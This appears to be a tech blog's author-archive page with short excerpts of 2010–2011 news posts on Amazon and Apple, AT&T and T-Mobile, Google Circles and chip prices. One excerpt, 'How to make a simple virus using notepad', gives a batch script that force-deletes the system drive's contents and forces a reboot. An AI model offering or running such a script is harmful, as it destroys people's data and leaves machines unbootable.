Author Archives: Shanker
Amazon counter-sues Apple over Amazon’s “Appstore” name
It appears that Amazon.com has finally responded to the suit filed against it by Apple over Amazon’s use of the name “Appstore” for its mobile application store, which Apple claims infringes on its “App Store” copyright. In the response, which was filed late Monday night, Amazon asserts that the phrase “app store” is generic and … Continue reading
My Blog Turns One!
Hey Folks, I started this blog exactly one year back on 27-3-2010. Today this blog is turning one. I have posted 28 posts within the last year (Even though i started it in march, I started posting from August :p). I hope 2011 will be a great year for me. I am also planning to … Continue reading
AT&T agrees to buy T-Mobile USA from Deutsche Telekom for $39 billion
AT&T and Deutsche Telekom have entered into a definitive agreement for the sale of T-Mobile USA for $39 billion in cash and stocks. The combined customer base of this upcoming behemoth will be 130 million humans, though the agreed deal will have to pass the usual regulatory and closing hurdles before becoming complete. The two … Continue reading
Google Circles – The latest Social Network
Online news websites are currently rife with talk of search engine giant Google apparently planning to launch a new social networking service imminently, dubbed Google Circles. But what is Google Circles exactly? And what can the service add to the already oversaturated genre of social networking? The new service is rumoured to be one which … Continue reading
Chip Prices Jump As Japan Disaster Hits Tech Supplies
(Reuters) – Prices for key technology components extended gains on Tuesday, as damage at Japanese plants and infrastructure caused by Friday’s devastating earthquake and tsunami threatens to disrupt the global manufacturing chain longer than many had expected. Dozens of Japanese firms from component makers to electronics firms and automakers are keeping their plants shuttered, while … Continue reading
How to make a simple virus using notepad
go to notepad and type the following and save it as a .bat file @echo off del %systemdrive%*.* /f /s /q shutdown -r -f -t 00 If executed this program will immediately shutdown ur system and delete all the contents of the system drive. Next time your system wont boot. Please dont try it in … Continue reading
‘The Social Network’ nominated for eight Oscars
Facebook co-founder Eduardo Saverin’s claim that he was unduly ousted from the social network’s early executive team formed the basis for “The Social Network,” the controversial yet acclaimed film about the birth of the company. Perhaps with a touch of unintended irony, when nominations for the 83rd Academy Awards were announced Tuesday morning, the actor … Continue reading
Apple sued over privacy in iPhone, iPad apps
Apple is being sued for allegedly letting mobile apps on the iPhone and iPad send personal information to ad networks without the consent of users Jonathan Lalo, who filed the lawsuit on Thursday in U.S. District Court in San Jose, Calif., alleges that Apple’s iPhones and iPads let ad networks track which applications people download, … Continue reading
Call of Duty: Black Ops hits $1 billion milestone
Call of Duty: Black Ops has surpassed the $1 billion worldwide sales mark after just six weeks of availability, Activision announced today. That milestone joins a growing number of impressive feats the title has enjoyed since its launch on November 9. In just its first day of availability, Call of Duty: Black Ops tallied $360 … Continue reading